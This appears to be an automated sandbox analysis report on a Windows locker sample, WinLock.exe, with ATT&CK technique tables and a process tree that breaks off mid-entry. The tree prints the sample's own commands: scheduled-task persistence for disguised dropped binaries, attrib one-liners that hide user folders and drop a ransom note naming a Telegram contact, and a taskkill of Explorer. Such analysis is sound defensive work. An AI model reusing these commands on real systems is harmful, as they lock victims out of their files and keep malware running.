Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Process not Found
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 19 IoCs

Adversaries may check for Internet connectivity on compromised systems.

Internet Connection Discovery

T1016.001

pid	Process
4748	cmd.exe
5440	Process not Found
1716	cmd.exe
8	cmd.exe
2916	cmd.exe
4608	cmd.exe
5324	cmd.exe
5412	cmd.exe
5608	cmd.exe
3836	cmd.exe
4176	cmd.exe
6996	cmd.exe
2152	cmd.exe
6148	cmd.exe
588	cmd.exe
6036	cmd.exe
3136	cmd.exe
6228	cmd.exe
2740	Process not Found

Gathers system information 1 TTPs 2 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
1312	systeminfo.exe
5436	systeminfo.exe

Kills process with taskkill 1 IoCs

defense_evasion

pid	Process
2220	taskkill.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 64 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
212	schtasks.exe
1328	schtasks.exe
5776	schtasks.exe
2756	schtasks.exe
6244	schtasks.exe
5352	schtasks.exe
5340	Process not Found
6644	schtasks.exe
6356	schtasks.exe
3836	schtasks.exe
3568	schtasks.exe
2400	schtasks.exe
7136	schtasks.exe
4612	Process not Found
6700	schtasks.exe
1192	schtasks.exe
2236	schtasks.exe
6920	schtasks.exe
2692	Process not Found
904	Process not Found
5928	Process not Found
2592	schtasks.exe
6892	schtasks.exe
5220	schtasks.exe
1160	schtasks.exe
5236	schtasks.exe
7064	schtasks.exe
3700	schtasks.exe
3464	Process not Found
6992	schtasks.exe
1600	schtasks.exe
1836	schtasks.exe
4508	schtasks.exe
364	schtasks.exe
2188	schtasks.exe
5128	Process not Found
1124	Process not Found
5280	schtasks.exe
6992	schtasks.exe
6616	Process not Found
6276	schtasks.exe
4516	schtasks.exe
456	schtasks.exe
5612	Process not Found
5260	schtasks.exe
2348	schtasks.exe
6036	schtasks.exe
3228	Process not Found
6164	Process not Found
5088	schtasks.exe
4616	schtasks.exe
6976	schtasks.exe
2864	schtasks.exe
3428	schtasks.exe
5484	schtasks.exe
6720	schtasks.exe
6868	Process not Found
4652	Process not Found
1692	schtasks.exe
4948	schtasks.exe
5960	schtasks.exe
2748	schtasks.exe
6124	schtasks.exe
6592	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1876	WinLock.exe
1876	WinLock.exe
1876	WinLock.exe
1876	WinLock.exe
1876	WinLock.exe
1876	WinLock.exe
1876	WinLock.exe
1876	WinLock.exe
1876	WinLock.exe
1876	WinLock.exe
1876	WinLock.exe
1876	WinLock.exe
1876	WinLock.exe
1876	WinLock.exe
1876	WinLock.exe
1876	WinLock.exe
1876	WinLock.exe
1876	WinLock.exe
1876	WinLock.exe
1876	WinLock.exe
1876	WinLock.exe
1876	WinLock.exe
1876	WinLock.exe
1876	WinLock.exe
1876	WinLock.exe
1876	WinLock.exe
1876	WinLock.exe
1876	WinLock.exe
1876	WinLock.exe
1876	WinLock.exe
1876	WinLock.exe
1876	WinLock.exe
1876	WinLock.exe
1876	WinLock.exe
1876	WinLock.exe
1876	WinLock.exe
1876	WinLock.exe
1876	WinLock.exe
1876	WinLock.exe
1876	WinLock.exe
1876	WinLock.exe
1876	WinLock.exe
1876	WinLock.exe
1876	WinLock.exe
1876	WinLock.exe
1876	WinLock.exe
1876	WinLock.exe
1876	WinLock.exe
1876	WinLock.exe
1876	WinLock.exe
1876	WinLock.exe
1876	WinLock.exe
1876	WinLock.exe
1876	WinLock.exe
1876	WinLock.exe
1876	WinLock.exe
1876	WinLock.exe
1876	WinLock.exe
1876	WinLock.exe
1876	WinLock.exe
1876	WinLock.exe
1876	WinLock.exe
1876	WinLock.exe
1876	WinLock.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	1876	WinLock.exe
Token: SeDebugPrivilege	2220	taskkill.exe
Token: SeDebugPrivilege	5196	powershell.exe

Suspicious use of FindShellTrayWindow 64 IoCs

pid	Process
1876	WinLock.exe
1876	WinLock.exe
1876	WinLock.exe
1876	WinLock.exe
1876	WinLock.exe
1876	WinLock.exe
1876	WinLock.exe
1876	WinLock.exe
1876	WinLock.exe
1876	WinLock.exe
1876	WinLock.exe
1876	WinLock.exe
1876	WinLock.exe
1876	WinLock.exe
1876	WinLock.exe
1876	WinLock.exe
1876	WinLock.exe
1876	WinLock.exe
1876	WinLock.exe
1876	WinLock.exe
1876	WinLock.exe
1876	WinLock.exe
1876	WinLock.exe
1876	WinLock.exe
1876	WinLock.exe
1876	WinLock.exe
1876	WinLock.exe
1876	WinLock.exe
1876	WinLock.exe
1876	WinLock.exe
1876	WinLock.exe
1876	WinLock.exe
1876	WinLock.exe
1876	WinLock.exe
1876	WinLock.exe
1876	WinLock.exe
1876	WinLock.exe
1876	WinLock.exe
1876	WinLock.exe
1876	WinLock.exe
1876	WinLock.exe
1876	WinLock.exe
1876	WinLock.exe
1876	WinLock.exe
1876	WinLock.exe
1876	WinLock.exe
1876	WinLock.exe
1876	WinLock.exe
1876	WinLock.exe
1876	WinLock.exe
1876	WinLock.exe
1876	WinLock.exe
1876	WinLock.exe
1876	WinLock.exe
1876	WinLock.exe
1876	WinLock.exe
1876	WinLock.exe
1876	WinLock.exe
1876	WinLock.exe
1876	WinLock.exe
1876	WinLock.exe
1876	WinLock.exe
1876	WinLock.exe
1876	WinLock.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
1876	WinLock.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1876 wrote to memory of 3036	1876	WinLock.exe	105
PID 1876 wrote to memory of 4980	1876	WinLock.exe	106
PID 3036 wrote to memory of 440	3036	cmd.exe	109
PID 1876 wrote to memory of 1356	1876	WinLock.exe	110
PID 1876 wrote to memory of 3508	1876	WinLock.exe	111
PID 1876 wrote to memory of 5012	1876	WinLock.exe	114
PID 1876 wrote to memory of 4536	1876	WinLock.exe	115
PID 1876 wrote to memory of 2232	1876	WinLock.exe	118
PID 1876 wrote to memory of 4696	1876	WinLock.exe	120
PID 1876 wrote to memory of 2156	1876	WinLock.exe	122
PID 1876 wrote to memory of 2584	1876	WinLock.exe	123
PID 1876 wrote to memory of 4140	1876	WinLock.exe	124
PID 1876 wrote to memory of 3780	1876	WinLock.exe	125
PID 1876 wrote to memory of 4532	1876	WinLock.exe	126
PID 1876 wrote to memory of 1916	1876	WinLock.exe	127
PID 1876 wrote to memory of 2220	1876	WinLock.exe	128
PID 4980 wrote to memory of 4864	4980	cmd.exe	150
PID 3508 wrote to memory of 2780	3508	cmd.exe	390
PID 2232 wrote to memory of 3084	2232	cmd.exe	152
PID 1356 wrote to memory of 2432	1356	cmd.exe	153
PID 4696 wrote to memory of 2592	4696	cmd.exe	154
PID 4536 wrote to memory of 3772	4536	cmd.exe	172
PID 5012 wrote to memory of 1584	5012	cmd.exe	156
PID 1876 wrote to memory of 2884	1876	WinLock.exe	165
PID 1876 wrote to memory of 1480	1876	WinLock.exe	166
PID 1876 wrote to memory of 4672	1876	WinLock.exe	167
PID 1876 wrote to memory of 4192	1876	WinLock.exe	168
PID 1876 wrote to memory of 1788	1876	WinLock.exe	169
PID 1876 wrote to memory of 3328	1876	WinLock.exe	170
PID 1876 wrote to memory of 1604	1876	WinLock.exe	171
PID 1876 wrote to memory of 3772	1876	WinLock.exe	172
PID 1876 wrote to memory of 2416	1876	WinLock.exe	174
PID 4672 wrote to memory of 5712	4672	cmd.exe	199
PID 2884 wrote to memory of 5720	2884	cmd.exe	200
PID 1480 wrote to memory of 5736	1480	cmd.exe	201
PID 4192 wrote to memory of 5772	4192	cmd.exe	283
PID 3772 wrote to memory of 5792	3772	cmd.exe	204
PID 3328 wrote to memory of 5840	3328	cmd.exe	207
PID 1604 wrote to memory of 5848	1604	cmd.exe	294
PID 1788 wrote to memory of 5904	1788	cmd.exe	209
PID 1876 wrote to memory of 3324	1876	WinLock.exe	215
PID 1876 wrote to memory of 2596	1876	WinLock.exe	216
PID 1876 wrote to memory of 3200	1876	WinLock.exe	217
PID 1876 wrote to memory of 4396	1876	WinLock.exe	218
PID 1876 wrote to memory of 3388	1876	WinLock.exe	219
PID 1876 wrote to memory of 2344	1876	WinLock.exe	220
PID 1876 wrote to memory of 644	1876	WinLock.exe	221
PID 1876 wrote to memory of 632	1876	WinLock.exe	222
PID 1876 wrote to memory of 5744	1876	WinLock.exe	257
PID 1876 wrote to memory of 5692	1876	WinLock.exe	258
PID 1876 wrote to memory of 4732	1876	WinLock.exe	259
PID 1876 wrote to memory of 4700	1876	WinLock.exe	260
PID 1876 wrote to memory of 5232	1876	WinLock.exe	261
PID 1876 wrote to memory of 4684	1876	WinLock.exe	262
PID 1876 wrote to memory of 3884	1876	WinLock.exe	263
PID 1876 wrote to memory of 4320	1876	WinLock.exe	264
PID 3388 wrote to memory of 1232	3388	cmd.exe	454
PID 4396 wrote to memory of 3764	4396	cmd.exe	370
PID 2596 wrote to memory of 5204	2596	cmd.exe	287
PID 3324 wrote to memory of 7100	3324	cmd.exe	330
PID 644 wrote to memory of 3228	644	cmd.exe	289
PID 2344 wrote to memory of 4948	2344	cmd.exe	290
PID 3200 wrote to memory of 2572	3200	cmd.exe	291
PID 632 wrote to memory of 1656	632	cmd.exe	292

Views/modifies file attributes 1 TTPs 12 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
5968	attrib.exe
5188	attrib.exe
3288	attrib.exe
3696	attrib.exe
2004	attrib.exe
5224	attrib.exe
6280	attrib.exe
4712	attrib.exe
5848	attrib.exe
5620	attrib.exe
5336	attrib.exe
7048	attrib.exe

C:\Users\Admin\AppData\Local\Temp\WinLock.exe
"C:\Users\Admin\AppData\Local\Temp\WinLock.exe"
1⤵
- Modifies WinLogon for persistence
- Creates a file in the Startup directory
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1876
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_hh_1" /tr ""C:\Users\Admin\AppData\Roaming\ExitReset\Logs\hh.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3036
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_hh_1" /tr ""C:\Users\Admin\AppData\Roaming\ExitReset\Logs\hh.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:440
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_WinLock_2" /tr ""C:\Users\Admin\AppData\Local\Temp\UpdateCache\WinLock.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4980
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_WinLock_2" /tr ""C:\Users\Admin\AppData\Local\Temp\UpdateCache\WinLock.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:4864
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_DWWIN_3" /tr ""C:\ProgramData\MicrosoftService\DWWIN.EXE" --task" /sc onlogon /rl highest /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1356
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_DWWIN_3" /tr ""C:\ProgramData\MicrosoftService\DWWIN.EXE" --task" /sc onlogon /rl highest /f
    3⤵
    PID:2432
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_CheckNetIsolation_4" /tr ""C:\Users\Admin\AppData\Local\Temp\TCD1BB1.tmp\Logs\CheckNetIsolation.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3508
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_CheckNetIsolation_4" /tr ""C:\Users\Admin\AppData\Local\Temp\TCD1BB1.tmp\Logs\CheckNetIsolation.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:2780
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_extrac32_5" /tr ""C:\Users\Admin\AppData\Roaming\MountTrace\Logs\extrac32.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5012
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_extrac32_5" /tr ""C:\Users\Admin\AppData\Roaming\MountTrace\Logs\extrac32.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:1584
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_dccw_6" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\dccw.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4536
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_dccw_6" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\dccw.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:3772
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_replace_7" /tr ""C:\ProgramData\Microsoft OneDrive\Logs\replace.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2232
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_replace_7" /tr ""C:\ProgramData\Microsoft OneDrive\Logs\replace.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:3084
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_shrpubw_8" /tr ""C:\Users\Admin\AppData\Local\Temp\TCD1A78.tmp\Logs\shrpubw.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4696
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_shrpubw_8" /tr ""C:\Users\Admin\AppData\Local\Temp\TCD1A78.tmp\Logs\shrpubw.exe" --task" /sc onlogon /rl highest /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2592
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c F: & attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @angel1cSup 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  PID:2156
- - C:\Windows\SysWOW64\attrib.exe
    attrib +h +s +r +i /D
    3⤵
    - Views/modifies file attributes
    PID:3288
- - C:\Windows\SysWOW64\attrib.exe
    attrib -h +s +r info-Locker.txt
    3⤵
    - Views/modifies file attributes
    PID:5968
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c cd "%userprofile%\desktop"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @angel1cSup 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  PID:2584
- - C:\Windows\SysWOW64\attrib.exe
    attrib +h +s +r +i /D
    3⤵
    - Drops desktop.ini file(s)
    - Views/modifies file attributes
    PID:5188
- - C:\Windows\SysWOW64\attrib.exe
    attrib -h +s +r info-Locker.txt
    3⤵
    - Views/modifies file attributes
    PID:7048
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c cd "%systemdrive%\Users\Public\Desktop"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @angel1cSup 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  PID:4140
- - C:\Windows\SysWOW64\attrib.exe
    attrib +h +s +r +i /D
    3⤵
    - Drops desktop.ini file(s)
    - Views/modifies file attributes
    PID:4712
- - C:\Windows\SysWOW64\attrib.exe
    attrib -h +s +r info-Locker.txt
    3⤵
    - Views/modifies file attributes
    PID:5336
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c cd "%userprofile%\downloads"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @angel1cSup 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  PID:3780
- - C:\Windows\SysWOW64\attrib.exe
    attrib +h +s +r +i /D
    3⤵
    - Drops desktop.ini file(s)
    - Views/modifies file attributes
    PID:3696
- - C:\Windows\SysWOW64\attrib.exe
    attrib -h +s +r info-Locker.txt
    3⤵
    - Views/modifies file attributes
    PID:5620
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c cd "%userprofile%\documents"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @angel1cSup 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  PID:4532
- - C:\Windows\SysWOW64\attrib.exe
    attrib +h +s +r +i /D
    3⤵
    - Drops desktop.ini file(s)
    - Views/modifies file attributes
    PID:5848
- - C:\Windows\SysWOW64\attrib.exe
    attrib -h +s +r info-Locker.txt
    3⤵
    - Views/modifies file attributes
    PID:6280
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c cd "%userprofile%"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted! Telegram for contact: @angel1cSup 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  PID:1916
- - C:\Windows\SysWOW64\attrib.exe
    attrib +h +s +r +i /D
    3⤵
    - Views/modifies file attributes
    PID:2004
- - C:\Windows\SysWOW64\attrib.exe
    attrib -h +s +r info-Locker.txt
    3⤵
    - Views/modifies file attributes
    PID:5224
- C:\Windows\SysWOW64\taskkill.exe
  taskkill.exe /im Explorer.exe /f
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:2220
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_msra_1" /tr ""C:\Users\Admin\AppData\Roaming\UseRemove\Logs\msra.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2884
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_msra_1" /tr ""C:\Users\Admin\AppData\Roaming\UseRemove\Logs\msra.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:5720
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_RdpSaProxy_2" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\RdpSaProxy.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1480
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_RdpSaProxy_2" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\RdpSaProxy.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:5736
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_certutil_3" /tr ""C:\ProgramData\MicrosoftService\certutil.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4672
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_certutil_3" /tr ""C:\ProgramData\MicrosoftService\certutil.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:5712
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_auditpol_4" /tr ""C:\Users\Admin\AppData\Local\Temp\OneNote\Logs\auditpol.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4192
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_auditpol_4" /tr ""C:\Users\Admin\AppData\Local\Temp\OneNote\Logs\auditpol.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:5772
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_PasswordOnWakeSettingFlyout_5" /tr ""C:\Users\Admin\AppData\Roaming\FormatRepair\Logs\PasswordOnWakeSettingFlyout.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1788
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_PasswordOnWakeSettingFlyout_5" /tr ""C:\Users\Admin\AppData\Roaming\FormatRepair\Logs\PasswordOnWakeSettingFlyout.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:5904
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_systeminfo_6" /tr ""C:\Users\Admin\AppData\Local\Mozilla\Logs\systeminfo.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3328
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_systeminfo_6" /tr ""C:\Users\Admin\AppData\Local\Mozilla\Logs\systeminfo.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:5840
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_vcredist_x86_7" /tr ""C:\ProgramData\Package Cache\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\UpdateCache\vcredist_x86.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1604
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_vcredist_x86_7" /tr ""C:\ProgramData\Package Cache\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\UpdateCache\vcredist_x86.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:5848
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_fixmapi_8" /tr ""C:\Users\Admin\AppData\Local\Temp\3124306530\Logs\fixmapi.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3772
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_fixmapi_8" /tr ""C:\Users\Admin\AppData\Local\Temp\3124306530\Logs\fixmapi.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:5792
- C:\Users\Admin\AppData\Roaming\UseRemove\Logs\msra.exe
  "C:\Users\Admin\AppData\Roaming\UseRemove\Logs\msra.exe" --watchdog-slave
  2⤵
  - Executes dropped EXE
  PID:2416
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_RestoreStop_1" /tr ""C:\Users\Admin\AppData\Roaming\UpdateWatch\UpdateCache\RestoreStop.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3324
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_RestoreStop_1" /tr ""C:\Users\Admin\AppData\Roaming\UpdateWatch\UpdateCache\RestoreStop.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:7100
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_user_2" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\user.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2596
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_user_2" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\user.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:5204
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_cacls_3" /tr ""C:\ProgramData\MicrosoftService\cacls.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3200
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_cacls_3" /tr ""C:\ProgramData\MicrosoftService\cacls.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:2572
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_WSManHTTPConfig_4" /tr ""C:\Users\Admin\AppData\Local\Temp\TCD1A04.tmp\Logs\WSManHTTPConfig.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4396
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_WSManHTTPConfig_4" /tr ""C:\Users\Admin\AppData\Local\Temp\TCD1A04.tmp\Logs\WSManHTTPConfig.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:3764
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_extrac32_5" /tr ""C:\Users\Admin\AppData\Roaming\MountTrace\Logs\UpdateCache\extrac32.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3388
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_extrac32_5" /tr ""C:\Users\Admin\AppData\Roaming\MountTrace\Logs\UpdateCache\extrac32.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:1232
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_mmgaserver_6" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\mmgaserver.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2344
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_mmgaserver_6" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\mmgaserver.exe" --task" /sc onlogon /rl highest /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4948
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_SecEdit_7" /tr ""C:\ProgramData\MicrosoftService\SecEdit.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:644
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_SecEdit_7" /tr ""C:\ProgramData\MicrosoftService\SecEdit.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:3228
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_odbcconf_8" /tr ""C:\Users\Admin\AppData\Local\Temp\TCD19EE.tmp\Logs\odbcconf.exe" --task" /sc onlogon /rl highest /f
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:632
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_odbcconf_8" /tr ""C:\Users\Admin\AppData\Local\Temp\TCD19EE.tmp\Logs\odbcconf.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:1656
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_PasswordOnWakeSettingFlyout_1" /tr ""C:\Users\Admin\AppData\Roaming\FormatRepair\Logs\UpdateCache\PasswordOnWakeSettingFlyout.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:5744
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_PasswordOnWakeSettingFlyout_1" /tr ""C:\Users\Admin\AppData\Roaming\FormatRepair\Logs\UpdateCache\PasswordOnWakeSettingFlyout.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:4816
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_credwiz_2" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\credwiz.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:5692
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "WinTask_credwiz_2" /tr ""C:\Users\Admin\AppData\Local\MicrosoftService\credwiz.exe" --task" /sc onlogon /rl highest /f
    3⤵
    PID:5716
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c schtasks /create /tn "WinTask_ktmutil_3" /tr ""C:\ProgramData\MicrosoftService\ktmutil.exe" --task" /sc onlogon /rl highest /f
  2⤵
  PID:4732
- - C:\Windows\SysWOW64\schtasks.exe
